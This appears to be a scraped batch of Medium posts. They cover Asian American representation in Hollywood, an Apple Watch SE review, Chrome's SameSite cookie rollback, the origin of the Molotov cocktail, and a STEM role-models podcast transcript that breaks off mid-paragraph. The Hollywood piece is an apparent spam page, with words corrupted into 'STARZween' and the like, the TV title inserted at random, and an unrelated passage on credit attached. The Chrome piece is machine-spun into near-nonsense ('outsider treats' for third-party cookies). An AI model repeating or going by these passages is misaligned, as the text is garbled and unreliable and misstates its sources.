Part of the problem is that what’s happening in China feels very distant to Americans. “The Chinese-speaking market is impenetrable to people in the West; they don’t know what’s going on or what those people are saying,” says Daniel York Loh of British East Asians and South East Asians in Theatre and Screen (BEATS), a U.K. nonprofit seeking greater on-screen Asian representation.
York Loh offers a provocative comparison to illustrate the West’s milquetoast reaction to “Power Book II: Ghost” principal Liu’s pro-police comments. “The equivalent would be, say, someone like Emma Roberts going, ‘Yeah, the cops in Portland should beat those protesters.’ That would be huge — there’d be no getting around that.”
Some of the disconnect is understandable: With information overload at home, it’s hard to muster the energy to care about faraway problems. But part of it is a broader failure to grasp the real lack of overlap STARZween issues that matter to the mainland’s majority Han Chinese versus minority Chinese Americans. They may look similar, but they have been shaped in diametrically different political and social contexts.
“China’s nationalist pride is very different from the Asian American pride, which is one of overcoming racism and inequality. It’s hard for Chinese to relate to that,” Yuen says.
Beijing-born Wang points out she ofSTARZ has more in common with first-generation Muslim Americans, Jamaican Americans or other immigrants than with Chinese nationals who’ve always lived in China and never left.
If the “Power Book II: Ghost” debacle has taught us anything, in a world where we’re still too quick to equate “American” with “white,” it’s that “we definitely have to separate out the Asian American perspective from the Asian one,” says Wang. “We have to separate race, nationality and culture. We have to talk about these things separately. True representation is about capturing specificities.”
She ran up against the Power Book II: Ghost’s inability to make these distinctions while creating “The Farewell.” Americans felt it was a Chinese film because of its subtitles, Chinese cast and location, while Chinese producers considered it an American film because it wasn’t fully Chinese. The endeavor to simply tell a personal family story became a “political fight to claim a space that doesn’t yet exist.”
In the search for authentic storytelling, “the key is to lean into the in-STARZweenness,” she said. “More and more, people won’t fit into these neat boxes, so in-STARZweenness is exactly what we need.”
However, it may prove harder for Chinese Americans to carve out a space for their “in-STARZweenness” than for other minority groups, given China’s growing economic clout.
Notes author and writer-producer Charles Yu, whose latest novel about Asian representation in Hollywood, “Interior Chinatown,” is a National Book Award finalist, “As Asian Americans continue on what I feel is a little bit of an island over here, the world is changing over in Asia; in some ways the center of gravity is shifting over there and away from here, economically and culturally.”
With the Chinese film market set to surpass the US as the world’s largest this year, the question thus arises: “Will the cumulative impact of Asian American audiences be such a small drop in the bucket compared to the China market that it’ll just be overwhelmed, in terms of what gets made or financed?”
As with “Power Book II: Ghost,” more parochial, American conversations on race will inevitably run up against other global issues as U.S. studios continue to target China. Some say Asian American creators should be prepared to meet Power Book II: Ghost by broadening their outlook.
“Most people in this Power Book II: Ghost think, ‘I’d love for there to be Hollywood-China co-productions if it meant a job for me. I believe in free speech, and censorship is terrible, but it’s not my battle. I just want to get my pilot sold,’” says actor-producer Brian Yang (“Hawaii Five-0,” “Linsanity”), who’s worked for more than a decade STARZween the two countries. “But the world’s getting smaller. Streamers make shows for the world now. For anyone that works in this business, it would behoove them to study and understand Power Book II: Ghosts that are happening in and [among] other countries.”
Gold House’s Chen agrees. “We need to speak even more thoughtfully and try to understand how the world does not function as it does in our zip code,” he says. “We still have so much soft power coming from the U.S. What we say matters. This is not the problem and burden any of us as Asian Americans asked for, but this is on us, unfortunately. We just have to fight harder. And every step we take, we’re going to be right and we’re going to be wrong.”
☆ ALL ABOUT THE SERIES ☆
is the trust which allows one party to provide money or resources to another party wherein the second party does not reimburse the first party immediately (thereby generating a debt), but promises either to repay or return those resources (or other materials of equal value) at a later date.[10] In other words, credit is a method of making reciprocity formal, legally enforceable, and exSTARZsible to a large group of unrelated people.
The resources provided may be financial (e.g. granting a loan), or they may consist of goods or services (e.g. consumer credit). Credit encompasses any form of deferred payment.[10] Credit is exSTARZded by a creditor, also known as a lender, to a debtor, also known as a borrower.
‘Hausen’ Challenges Asian Americans in Hollywood to Overcome ‘Impossible Duality’ STARZween China, U.S. | https://medium.com/power-book-ii-ghost-s1xe10-4khd-quality/s1-e10-power-book-ii-ghost-series-1-episode-10-online-1080p-hd-328fa5a5411e | ['Aaliyah Doherty'] | 2020-12-27 21:03:28.824000+00:00 | ['Technology', 'Lifestyle', 'Coronavirus', 'TV Series'] |
2,222 | Apple Watch SE 2 Months Later | Apple Watch SE 2 Months Later
Image: MTG Productions/YouTube
Apple Watch SE. It looks like every other Apple Watch at a glance. But, there are some differences that make this watch fit in its SE lineup of products. In fact, it is probably the perfect mix!
Image: MTG Productions/YouTube
DESIGN
Remember, this is a watch, which means, we need to touch base on the design. Apple has typically gone the route of avoiding the circular watch design. I have the aluminum casing and it’s held up pretty well. If you’re interested in picking up the stainless steel option, you’ll have to go after the Series 5 or the new Series 6. My Apple Watch SE is the Nike Edition, but I swapped the band for a Milanese loop. Anyway, the Apple Watch SE has the same display as the Apple Watch Series 6. It has both 40mm and 44mm options just like the Series 6 with a display resolution of 368x448.
Apple Watch SE includes an OLED display which equates to more vibrant colors and deeper blacks. There is one thing that the SE does not include in which you can find in Series 5 and 6 and that is the always-on-display. However, in my opinion, raising to wake is fast enough and it also saves on battery life.
Image: MTG Productions/YouTube
PERFORMANCE
Since we touched based on design, let’s take a look at performance, where Apple has never disappointed the consumers with their products. The Apple Watch SE is fast. It might not include the latest S6 chip found in the Series 6, but the S5 chip it includes is still buttery smooth.
The Series 3 includes the S3 chip which has definitely aged, so, if you’re on the lookout for Series 3, please move on and look at the SE. You’ll notice the difference in speed between Series 3 and SE. Also, the SE stands pretty close to the Series 6 in speed. Coming from Wear OS devices, I’m super happy with the results because I’ve been looking for a fast performing smartwatch for such a long time. That’s why Apple is dominating the smartwatch market with its Apple Watch devices.
Apple has included a new feature built with families in mind called Family Setup with its latest Series 6 and SE. This feature lets you set up an Apple Watch independently for a kid or parent who doesn’t have an iPhone or any phone for that matter. Now, the caveat here is that if you want all of the features on an Apple Watch paired with Family Setup, you would need a cellular model so do keep that in mind. Otherwise, this family setup feature does come in clutch especially for parents who want to gift their children with a watch rather than a phone.
The Watch SE runs the latest Watch OS 7 without any lag, so you’ll be getting all the latest features like new watch faces, although some are exclusive to the Series 6. When I say without lag, I mean it. Even so, Watch OS 7 and the Apple Watch SE work seamlessly with the iPhone and I’m going to praise Apple for its amazing work with its ecosystem because it’s that good. Apple has perfected the hardware and software to work effortlessly together and other companies are struggling to keep up. You can’t pair an Apple Watch with an Android device and even if you pair a Wear OS device with an iPhone, you won’t be getting all of the features with notifications and other features.
Image: MTG Productions/YouTube
HEALTH
When we say Apple Watch, health is one of the main things that come to our mind. But, I just haven’t been using the watch for its health features. I’ve had the Watch SE for more than two months, and I just haven’t got into using the watch for the health features. I definitely should, and I will be in the future. When I first got the watch, I went ahead and tried out everything it had. The SE includes fall detection, noise monitoring, and Emergency SOS. I think that Emergency SOS and fall detection is super useful because I’ve heard real-life stories on how fall detection saved people’s lives. How about the new oxygen blood level sensor? That is unfortunately only available on the Series 6, so, if you’re on the lookout for a watch with an oximeter, skip the SE. Otherwise, everything else that makes an Apple watch an Apple watch is present in the SE.
Image: MTG Productions/YouTube
PRICE
It’s important to look at the price when picking up a new product. Now, I was hoping that the Apple Watch SE would start at $199, but Apple went ahead and priced it between Series 3 and Series 6 at $279 for the 40mm and $309 for 44mm. Honestly, the pricing is still pretty good. If you’re in dire need of a cellular model, it only costs an extra 50 bucks for each model, so $329 for the 40mm and $359 for the 44mm.
Just make sure that before you pick one up, ask yourself; Do I carry my phone with me all the time? If yes, you don’t need the cellular model. Apple is actually aiming for their Apple Watch SE to perform just like the iPhone SE. It is especially in my opinion the perfect way and a cheaper alternative to entering the Apple Ecosystem.
Image: MTG Productions/YouTube
If you’re in the market looking for a new Apple Watch, then the SE is a good buy. $279 for 40mm and $309 for 44mm is not too shabby, and if you look good enough, you may even find them on sale once in a while. Just remember this, if you’re on a budget, don’t consider series 3. I don’t even know why Apple is still selling the Series 3. It’s old, slow, and it won’t be supported much longer. | https://medium.com/macoclock/apple-watch-se-2-months-later-214881fa2cf0 | ['Melih Gungor'] | 2020-12-22 07:35:14.691000+00:00 | ['Gadgets', 'Apple Watch', 'Health', 'Apple', 'Technology'] |
2,223 | Google is briefly moving back Chrome’s SameSite cookie prerequisites | Google Chrome (9to5Google)
With the dispatch of Chrome 80 in February, Google started bit by bit revealing an update that changes how outsider treats take a shot at sites, called “SameSite.” Today, it reported that it is incidentally moving back to this SameSite prerequisites considering the COVID-19 episode.
The SameSite arrangement was an adjustment in how Chrome treats. Previously, Chrome acknowledged more treats of course, including from outsiders. SameSite flipped that default. At a significant level, that basically implies that except if an outsider treat unequivocally was set by a site proprietor as being alright, Chrome would square it. This move was expected to ensure client security by restricting which treats can work in an outsider setting, which would as far as anyone knows control outsider information assortment.
Be that as it may, debilitating outsider treats can make a few destinations break — particularly in the event that they were utilizing outsider treats as a component of their login frameworks. Many significant destinations were at that point refreshed to represent SameSite, however Google says it needs to “guarantee steadiness for sites offering basic types of assistance including banking, online goods, taxpayer driven organizations and social insurance.” Presumably that implies a few locales in those classifications weren’t refreshed.
As locales have needed to manage the entanglements brought about by the COVID-19 episode, all things considered, many haven’t had the opportunity or the assets to adjust to the update and aren’t probably going to have the option to give regard for it sooner rather than later.
Since social separating measures have incredibly expanded dependence on online administrations, disturbances like this could cause various issues, particularly when it’s identified with human services assets.
This isn’t the main Chrome update influenced by the flare-up. In March, Google declared it was briefly delaying adding new highlights to Chrome and Chrome OS and concentrating on refreshes identified with security. Google said this was because of changes to its own work routines. Be that as it may, Google has since continued advancement for Chrome and Chrome OS, but on a balanced timetable. | https://medium.com/@godstimeoobasi/google-is-briefly-moving-back-chromes-samesite-cookie-prerequisites-10396777355f | ['Creative Bits'] | 2020-04-04 20:02:58.561000+00:00 | ['Coronavirus', 'Chrome', 'Technology News', 'Browsers', 'Google'] |
2,224 | The Origin of the Molotov Cocktail | Kiev, Ukraine — Molotov cocktails used by anti-government protesters on 18th February 2014
The Molotov Cocktail has been a staple of many facets of our society and media. Going from their use in uprisings, revolutions and war to their depiction on the big screen the characteristic burning fuel bomb hurling across the sky is iconic. Despite its popularity, most of the people who have seen Molotov Cocktails either in real life or in the movies don’t know anything about its origin, and most importantly, how it got its name. To clear this up I would like to explore the first known use of the Molotov Cocktail before it received its name and finally the circumstances that led to the nickname of the weapon to become its long-lasting label.
First Use
Generalísimo Francisco Franco Leader of the Nationalist Forces
The first documented use of the Molotov Cocktail seems to be during the Spanish civil war. The necessity for a weapon came about due to the new development of tactics in urban warfare. With the support of Soviet Russia, the Spanish Republicans were able to acquire T-26 tanks which seemed to be very proficient in urban combat. With conventional weapons not working against the state-of-the-art tanks, the general of the Nationalist Forces Fransico Franco ordered for the use of homemade incendiary devices to burn the rubber of the tracks making the tanks immobile. The incendiary device he ordered to be used would turn out to be extremely effective against the tanks. Not only would the weapon destroys the rubber of the tank’s tracks striping it of its high mobility making them vulnerable to other weapons of the Nationalist army but it also burned the crew of the tank forcing them to surrender by escaping the vehicle or suffer a slow and painful death due to the high heat of the burning petrol. After its first use in 1936 by the Nationalists it would also be adopted by the Republicans leading to its use throughout the whole war until the eventual victory of the Nationalists.
This wouldn’t be the end for the simple homemade weapon. Only 3 years after its first use the news of its effectiveness would spread to the struggling Finland who faced the full might of the Red Army.
Mr Molotov’s Care Packages
The Winter War is the name given to the invasion of Finland by the Red Army. Thoroughly outnumbered the Finish army had to resort to guerilla-style fighting tactics to have any hope of fighting back the titan force that was about to roll through their country. During the conflict, every advantage available was used. This included using the terrain to heavily flip the odds in the Finns favour. To combat this the Soviets would bomb locations where the troops would advance through before their arrival with cluster incendiary bombs. The Minister of Foreign Affairs Vyacheslav Molotov would go onto radio and explain to its listeners that the Soviets were only dropping “humanitarian aid” and nothing of the sort that the Finns claim. As a result, the soldiers of the Finnish Army would give the cluster incendiary bombs the nickname “Molotov’s picnic baskets” and promised to return the favour with “Molotov Cocktails”. They kept to their promise as seen by the initial armoured divisions which were met with hundreds of thousands of Molotov Cocktails and by the end of the war just under half a million would be thrown by the Finish Army.
Aftermath of a Finish Ambush on a Soviet Armoured Column at Raate Road, January 1940
Even though they fought bravely the Finish Army wasn’t able to beat the Soviet war machine back and lost the war by March next year but only suffered minimal land loss. Even though it can be argued that from a casualty standpoint the Finns beat the Soviets as a 1 to 5 kill ratio between the Finish army and the Red Army was clocked by the end of the war. Even though the war ended the use of the nickname didn’t cease and it would go on to become the staple name for most improvised incendiary devices.
Conclusion
The Molotov Cocktail would evolve to become the revolutionary’s best friend. As the years have gone on many protests and revolutions have included the use of fire as a weapon and the Molotov Cocktail has been proven to be the most cost-effective and easy way to deliver fire to the desired location with minimal danger to the thrower. This device is really the personification of a David vs Goliath type scenario. With David being represented by the Finnish or whichever force uses the weapon against a Goliath-type figure which represents the Red Army or the oppressor of the aforementioned. A lot can be learnt by this narrative as a struggle against a dominant force can always seem overwhelmingly impossible and futile. History teaches us that this is not true and with ingenuity, the odds of a fight can always be turned in your favour if you play your cards right. To take a challenge head-on is the first and hardest step, the rest is just a journey to victory. | https://medium.com/history-of-yesterday/the-origin-of-the-molotov-cocktail-e1c8e767a483 | ['Calin Aneculaesei'] | 2019-08-19 20:25:51.297000+00:00 | ['Technology', 'Russia', 'History', 'War', 'Revolution'] |
2,225 | Episode 1: STEM Role Models | Transcript
BECKY: One person that really inspired me when I was a kid was my Aunt Liz. She was a science teacher, is a science teacher, and was trained to be a nurse at the time as well.
HOST: That’s Becky Rush. Becky has spent the last three years studying Digital Media Development at the University of Brighton. But her life is just about to dramatically change.
BECKY: Next week I am graduating and then in a couple of weeks after that I will be starting my first graduate job, but as a, a mid level developer at BBC news in the Visual Journalism Team as a web developer.
HOST: This will be Becky’s first full time job, working as a developer for one of the world’s biggest media groups. But her early interest in science and technology was inspired not just by media, but the outdoors. Becky describes trips into the countryside with her Aunt Liz, who would fill their time with fun and exciting science experiments.
BECKY: The experiment I remember best that we did was having a little pressure pad. I think it was a kit from like the early learning centre or something. We made these little rockets that you would jump on and they would fly off into the sky and see how far they go and race them with each other and like she just sort of showed tips for how to make the rockets more aerodynamic and things like that.
HOST: It was also Aunt Liz that provided Becky with her first computer.
BECKY: Liz had got one from the school that she been working at, they were gonna chuck it out. So I just remember having this huge box of a computer in our room. I don’t think it was before we had internet at home and I remember just sitting on it and playing with computer games and Paint, mostly Paint, and it still had the etchings of the school name and the side of it. And that was my first experience of having a computer.
HOST: There is a moment in our young school life when we are asked to make big choices about our future. But we can only make choices based on what we know and what we see. We look to the people around us, whether it is people in the media, people at school, or people in our family for clues that tell us ‘I could do that’. For Becky it was her family.
BECKY: I’ve grown up with my mum being a particular inspiration for me. She works in admin at the hospital and then I realised that actually most of my family does, so she has four sisters and a brother and they were either teachers or work in healthcare and most of my cousins seem to work in healthcare as well, paramedics or nurses or GP managers and stuff. So it’s been, there’s a lot of influence in my life around healthcare and technology as well because one of my cousins is an app developer. I’ve been fortunate enough to have that sort of influence on me throughout my life actually.
HOST: The family history in healthcare informed Becky’s choices after her GCSEs. She worked for several years in a local hospital as a patient access clerk answering phones, but then decided it was time for a change.
BECKY: I spoke to my manager and she moved me into her team, which was just her actually, we created a little team…working in data analysis, so we would match up missing test results to patient records and create reports that went to Public Health England and stuff like that. And that I found much more satisfying and interesting from what I had been doing.
HOST: And that was it. She started to really enjoy working with data and after speaking to her app developing cousin, Becky decided that tech was going to be her life from that point on. The support of her family and manager had been crucial to her career choices, but it was that early role model of her science teacher Aunt Liz that really sowed the seed, and showed Becky that STEM is something women do too.
For some it can be a stranger, or even a place that helps shape people’s careers choices. Here’s Kim England, a Global Community Director at Pearson.
KIM: For a very long time I’ve been an admirer of Sue Black from a distance… she sparked my interest when she started the campaign to save Bletchley Park. And the reason for this is because I was actually born in Bletchley, And I think it’s such a massive part of our history. Sue has done a fabulous job of not only saving Bletchley Park, but she’s really enriched the lives of the people who live in Milton Keynes by drawing attention to this fabulous place and everything that actually happened there during the Second World War.
HOST: Sue Black is a British computer scientist who was instrumental in saving Bletchley Park, the site of World War II codebreaking.
KIM: Now more than ever, we’re hearing about some of the most fabulous people from our history, from our present and women who are going to be amazing in tech in the future. And I think Sue is really leading the charge in terms of giving women in tech a voice and I just think she’s fabulous
HOST: In this episode, we’re going to discuss how Science, Technology, Engineering and Mathematics, what we call STEM, role models from all walks of life are essential for young people, and what needs to be done to ensure that those who want to be it, can see it.
This is Nevertheless, a podcast about learning in the modern age. Each episode we shine a light on an issue impacting education and speak to the women creating transformative change. Supported by Pearson and hosted by me, Leigh Alexander.
ANNE-MARIE: I have always been a very creative person. I have always enjoyed understanding how things work and understanding, like, logical things and understanding whether it’s theorems or whether it’s understanding processes and being like, oh actually if I do the same thing again, here’s what that process or here’s what that function does to that thing, right.
HOST: That’s Anne-Marie Imafidon. She was a child prodigy from East London who became the youngest girl ever to pass A-level computing at just eleven years old.
ANNE-MARIE: My earliest memory is being about four and typing the story of Little Red Riding Hood on my dad’s computer and changing her hood from red to purple because purple is a slightly better colour and it was probably gibberish because I was four but saved it in the computer and then had to go to bed because bedtime is a thing, and then woke up the next morning and was kind of really excited at the fact that even though that computer had been off and I’d been asleep, my story was still in that computer. To this day that’s still what kind of excites me about these kind of technical things and you can make something, make anything from a database to a website to an AI assistant to an app and when you’re there, someone else is deriving value or use from it.
HOST: At twenty she received her Master’s Degree in Mathematics and Computer Science from Oxford, and is now the CEO of Stemettes, an organisation dedicated to championing the work of women in STEM.
From that early inspiring moment of saving her story in the family computer, Anne-Marie began her passion for technology. But while she studied at a level far beyond her peers, it wasn’t until her teens, during an internship in the IT department of a bank, that she realised technology could be a career.
ANNE-MARIE: Oh my goodness, these people play with tech all day and people build it and I’m in this department and the people in that department are using the tech that we’ve just built or the project managing we’ve just done, or whatever. So I really enjoyed that. I enjoyed how much I was being paid because again, I never had pocket money. It wasn’t like a thing in our house. And like we never really… I mean there’s five kids in East London, there wasn’t a lot of money around. We weren’t poor, but I wasn’t saving up to buy X, Y, and Z because that just wasn’t how things were in my house. So it was like, okay cool, this is something I’m going to do, I’m gonna, really enjoy it and I’m going to work in it.
HOST: It was during this part of her career that Anne-Marie was sent to a conference in the USA to talk about the cloud and collaboration tech that she and her team had been building. And that’s where everything changed.
ANNE-MARIE: On one occasion we were sent to a conference in the States to talk about the technology we’d been building and it just so happened that conference was the Grace Hopper celebration of women computing. That year there were three and a half thousand women there. This last year there were 18,000 women.
HOST: This was her ‘Road to Damascus’ moment. It was here that she realised throughout her life she had been in a minority. Once Anne-Marie realised that her industry was not diverse, she saw it as a problem to be solved. How many other girls are there out there who are like her, but who don’t have the same encouragement or environment? She founded Stemettes as a way to reach and support those girls, offering ‘free food and fun’ at hackathons and other events across the UK which have so far reached over 38,000 girls.
A diverse workforce is better for everyone, but STEM in particular has a diversity problem.
When women do work in STEM, it’s not usually in senior positions. Professors in academia are mostly male, and just a quarter of senior managerial positions across the entire UK STEM workforce are women.
This diversity problem is also a role model problem.
The theory goes like this. If you can see someone who looks like you, whose life experiences are like your own, then you know you can do what they’ve done. Those life experiences often include discrimination or bullying. If your teacher or university lecturer or manager or the owner of the company you work at is someone like you and has been through similar experiences, then you know you can aspire to that position too. It also means that you know those senior networks are open to you, that you are welcome.
It’s a theory borne out by much evidence. Studies including research by GirlGuiding UK show that women take different education and career paths as a result of the isolation that comes from a lack of diversity and role models.
**
The internet is only one place we see role models. Women are also grossly under-represented in the sort of media young people look up to, like film and television. When we do get screen time it’s not as equals or superiors or in powerful jobs like, say, surgeons. The Geena Davis Institute is a charity which analyses media, and has found that women are sexualised or stereotyped in films, TV and advertising in a way that men simply are not.
The findings of their research are startling. Out of nearly six thousand speaking or named characters in popular films, only 30% were female.
Only a quarter of the films studied had a female lead, and almost all had more male characters than female. It’s the same in advertising, where only a third of adverts feature women. When women are shown in ads, it’s not in a position of power or leadership, but in the kitchen.
Here’s the role model kicker: Men are nearly twice as likely to be shown doing a job that requires what’s known as “integral intelligence”. That’s jobs like doctor or scientist or engineer. Our girls are looking at the TV screen and they are not seeing themselves in STEM. They are not seeing role models.
When they do see role models onscreen, it works. For decades, something called The Scully Effect has been cited as a contributing factor to women entering STEM careers. It’s named after the character Dana Scully in the sci fi show The X-Files, which was first broadcast in the 1990s. The character of Scully, played by Gillian Anderson, is a medical doctor and FBI investigator, the rational partner to her male colleague Mulder. It’s long been claimed that the character of Scully, a high-achieving woman in STEM, has had a positive role model effect. But it wasn’t until 2018 that it became a proven fact. In 2018 the Geena Davis Institute on Gender in Media undertook a major study to test the Scully Effect. Nearly two-thirds of women that work in STEM said Dana Scully served as their role model.
***
As we’ve seen visibility of women at home and in the media are key factors in encouraging young people and students to choose a career in STEM. But what about the thousands of women all over the world whose achievements in STEM aren’t visible?
SARA: There is something incredibly valuable and incredibly satisfying to, to put something out on the Internet to surface a story that wasn’t there before to make something available for everyone in the world that simply wasn’t there before. So to tell a story that wouldn’t have been told otherwise.
HOST: That’s Wikimedian Dr Sara Thomas. When sees Wikipedia, she also sees a challenge. Her peers and role models, women in STEM, are largely absent from Wikipedia’s six million English-language articles, not because their achievements aren’t noteworthy, but because of bias in Wikipedia’s own process. For a start, the majority of Wikipedia editors, volunteers who create new articles, are Western men, and were simply creating articles about other Western men, despite North America and Europe only making up a quarter of internet users. Who or what is noteworthy enough for Wikipedia is being heavily filtered through the biased lens of its volunteer editors.
Sara Thomas recognised this bias and decided to do something about it. She is Scotland Program Coordinator for Wikimedia UK, a charity which supports Wikipedia editors. She also volunteers as an editor with Women In Red to turn red links — where a woman is mentioned on a Wikipedia page but does not have her own profile — into blue links, women with a Wikipedia page. In three years, Women In Red has added over 17,000 women to Wikipedia. In July 2018 the volunteer editors are focusing on women in Sub-Saharan Africa. Sara spoke to us from a Women In Red meetup in Edinburgh.
SARA: Women in Red have a number of monthly edit-a-thons, a number of monthly focuses, and as you say, one of them this month is women from sub-Saharan Africa. So one of the issues that we have in terms of systemic bias is it’s not just a bias to do with gender, it’s also with a lot of things.
Our average Wikimedian on English Wikipedia is male, technically inclined, formally educated English speaker from the majority Christian country, from a developed nation and from the northern hemisphere. So there is a bias towards the global north and it’s important to us, and I’m seeing this in chat in between, I work with Wikimedia UK and I hear a lot of this, there’s talk about we need to do more around coverage for underrepresented subjects including the global south.
HOST: Wikipedia’s own standards for what constitutes ‘noteworthy’ can also be biased. Proof of achievement, in Wikipedia world, is via mainstream media coverage, and mainstream media also skews heavily male, and heavily white. Recent research by the Guardian shows the problem even reaches children’s magazines, with only 5% of cover stars from an ethnic minority.
Studies into who is invited onto current affairs and news programs or quoted in newspapers as an expert show that three quarters are men. When women do appear in newspapers, it is not because of our expertise. A report by feminist campaign group OBJECT stated that newspapers routinely engaged in, to quote, “excessive objectification of women in some parts of the press, reducing them entirely to sexual commodities in a way that would not be broadcast on television, nor allowed in the workplace because of equality legislation”.
Only a quarter of worldwide news stories are about women, but they are mainly written by men. A 2016 study by City University London showed that 94% of British journalists are white.
It’s no wonder that the media citations essential to Wikipedia are in short supply for women and people of colour.
SARA: It can be more difficult to prove notability for women, and when you’re looking at English Wikipedia, you’re looking at a number of different countries. So again, you might be looking at somebody who doesn’t realise that you know, a national newspaper for an African country is just as notable as something from say, a different part of America. We have all of those kinds of interplays, but it can be more difficult.
Somewhere like Women in Red is a great starting point for showing people how to get around those policies and how to understand those policies and guidelines and understand this whole back end of Wikipedia. But yeah, create an account and edit, come find us. We will be more than happy to help you.
****
HOST: Another woman who is determined to change the role model landscape is entrepreneur Janneke Niessen. She’s the founder of Inspiring Fifty, a Europe-wide organisation dedicated to increasing diversity in the technology sector by making role models more visible in the media.
JANNEKE: First of all, we also connect these women and we get very good feedback from them also, how they help each other and how much it brings them, that they are more in the news. And we also actively approach journalists and conference organisers to put these women forward because in the end it’s really important that it’s not just a list of women, but actually make sure that their voices are in the media, are on stages.
HOST: Janneke is also an author, and has lectured on the subject of digital media at Amsterdam and Leuven universities. She recognised that role models aren’t always adults. Children’s own peers can set the example. She decided to create a book for young girls to encourage them into STEM.
JANNEKE: All the research shows that they actually move away from tech quite early around 10, 11, 12 years old. And it’s also the same time where they actually make really important decisions with regards to their education. But at that age they think it’s boring. They think it’s difficult and worse they think they are not capable of it. And that’s what I really wanted to change because every girl should have the opportunity to choose whatever they want to choose, but preferably based on correct information. And because we all know it’s not boring, it’s not difficult and definitely girls can do it, they are really good at it and the problem is not so much that they, that it’s really true that they hate it, but they just have the wrong idea of what it is.
HOST: The book she created is called Project Prep, and it tells the story of four young girls who create a fashion app from scratch. Janneke feels strongly that outreach should tap into all of the interests of girls and not just the stereotypically ‘nerdy’ ones, because so many girls don’t realise their everyday interests like fashion or social media are related to technology.
JANNEKE: So ask them, do you want to work in tech? They’re like mmm, no, and ask them if they want to work at Snapchat or Instagram and they say yes and they don’t see that that’s also tech. And that’s why we need to show them what tech is and how learning to code learning digital skills translate in what they can do later on in life and how the things that they do like, how they involve a lot of tech as well.
HOST: Janneke’s philosophy is ‘if they can see it, they can be it’. Recent research by Microsoft shows that the number of girls interested in STEM doubles when they have role models. The report also states that girls who have STEM role models evaluate themselves as higher performers across every STEM subject.
JANNEKE: It’s not one silver bullet, it’s a lot of small things that will contribute to getting them to choose tech and then also making the older role models, the adults more visible will help too, so they can see where all these women ended up, what kind of jobs they have and they can see how it would, what would be fitting for them.
HOST: Janneke’s sentiments are echoed in the teaching industry. Daljit Kaur is head of STEM innovation at Loughborough Grammar School in Britain. She agrees that one of the biggest barriers to diversity in STEM is stereotypical ideas about what science or technology actually are.
DALJIT: For so long engineers has been such a male dominated field. And if you look at the image, that’s been portrayed as a male person.
HOST: Daljit tackles this directly, by putting diverse role models in front of pupils. She organises female engineering graduates from Loughborough University to attend workshops at schools, to directly inspire the pupils and show them that engineers can look like them, and engineering can be applied to everything.
DALJIT: Basically, I’ve gone into primary schools and I’ve said to the kids, your parents might wear makeup. You might be applying a bit of foundation on. Do you think that’s engineering? No, no, of course not. So it’s trying to change that word engineering. Trying to get them to get to know this is engineering.
HOST: This philosophy recognises that while gender stereotypes are part of what stops young girls studying STEM, the fact remains that fashion and makeup are core interests of the teen demographic and outreach can embrace that. But it doesn’t always go to plan. In 2015, tech giant IBM released a video intended to encourage girls into STEM. The video was called ‘hack a hairdryer’ and invited girls to reinvent the hairdryer. The backlash was severe. Accusations of sexism and stereotyping flew around Twitter, and IBM eventually apologised and took the video down.
The dilemma is this. If we want to bust stereotypes, maybe we shouldn’t be using heavily-gendered language or examples like makeup and hairdryers. But, what if it works? What if those examples are genuinely relatable to girls? Why should those interests be excluded or ignored?
In an article for Fortune magazine, tech journalist and podcaster Stacey Higginbotham interviewed Tricia Berry, the director of Women in Engineering Program at the University of Texas at Austin, about the hack a hairdryer campaign. Stacey writes,
“Tricia Berry explains that her organization used to do a group activity focused on building small robots using a tooth-brush head and a little motor. The robots were called bristle bots. Last year, during the engineering fair the organization held for girls, they switched gears to instead build a butterfly robot using the same components with the addition of wings the girls could color.
Participation soared.
“The response was so different,” Berry said. “Was it sexist because we made it into a butterfly? I don’t know, but anything to grab their attention and make [tech] relatable.”
Stacey Higginbotham takes this concept of relatability further. She believes that engaging girls in STEM doesn’t have to mean conforming to gender stereotypes, but is about offering a wide range of options which can also include the butterflies and beauty and pink princesses. So you might include a hairdryer in a whole range of things for young people to ‘hack’, rather than just focusing on one thing.
STACEY: I think you should just let girls be girls and if you like pink and if boys like pink, anyone can like pink if they want it. And in science and engineering the key isn’t just to have quote unquote girly things. It’s to have a range of things and right now the range of things you can do in science and engineering is relatively narrow at the instruction and getting people interested layer. I think there are a lot of women who get out into the world and who are like, oh, I really want to change this or take action about something. And they realise that to do this they should’ve studied coding, which is a terrible thing to have thought. Right. Uh, so I think, I think the issue is just to get people interested is to offer a huge range of things that appeal to anyone and everyone regardless of their gender. So yes, hack a hairdryer, build a battle-bot, make an Arduino-powered dog feeder. Just have a bunch of things that get people interested.
HOST: She takes this approach with her own daughter, using a free service called ‘If This Then That’ or IFTTT to bring basic coding and logic into her home in a practical and fun way.
STACEY: There are two things kids relate to. One is there a particular set of interests to is an almost instantaneous feedback for a lot of these things. And the younger the kid, the more quickly that payoff has to come. So I’ve done things with my daughter, like we use IFTTT which is a service that lets you create if this, then that commands for smart home gadgets and the web. So we actually use that service every year at Halloween to kind of create a haunted house for, for us.
HOST: Stacey’s educational use of If This Then That is also fun. The app lets you send commands to your smart home gadgets like Alexa, or web-enabled electrical outlets, to say ‘if this happens, then do that’. For Halloween, she showed her daughter how to build a ghost on top of a hairdryer which is then connected to a motion sensor via the app. If someone walks past the motion sensor, the hairdryer switches on and the ghost flutters around.
STACEY: Those kind of things appeal to kids, boy or girl because they let them do something. They’re thinking through the problem. They’re creating a chain reaction and they see the results right then? Plus it’s something they care about, like having an awesome haunted house. That’s how you appeal to kids in a non-gendered way and sure some of it could be gendered, but a lot of it’s probably just going to be what they would call fun.
HOST: Stacey is showing that role models can begin at home. If role models expand the perception of who is a scientist or engineer, perhaps embracing non-science interests can expand the perception of role models.
*****
Many STEM outreach programmes talk about diversity, but what is meant by that? Diversity can mean gender, it can mean race or ethnicity, nationality, disability, sexuality or age. Are STEM diversity initiatives at risk of trying to make one size fit all? Does diversity itself need to diversify?
The National Center for Women and Information Technology notes some alarming statistics. While 26% of the entire USA computing workforce are women, only 3% are black women.
This is a problem also seen in the UK. At a recent British political initiative, an all-party parliamentary group for diversity in STEM, one panelist raised the issue of ethnic minorities in engineering.
Dr Nike Folayan, the Association for Black and Minority Ethnic Engineers, told the group that while 25% of engineering graduates are from ethnic minority backgrounds, only 6% of working UK engineers are. That means that BAME engineering graduates are not transitioning into the workplace, and Dr Folayan works to find out why.
She campaigns for better representation in her industry, and in 2016 coordinated a major initiative called Transition — a series of ‘employability’ workshops to help address the unemployment challenges facing engineering graduates of colour. Her interventions are working; 70% of attendees gained employment within 12 months of graduating.
But while one-to-one interventions work, the biggest diversity challenges come from a lack of data. Dr Folayan points out that there is currently no data for proportion of BAME women working in engineering. Indeed, the data gap became startlingly apparent when we researched this episode.
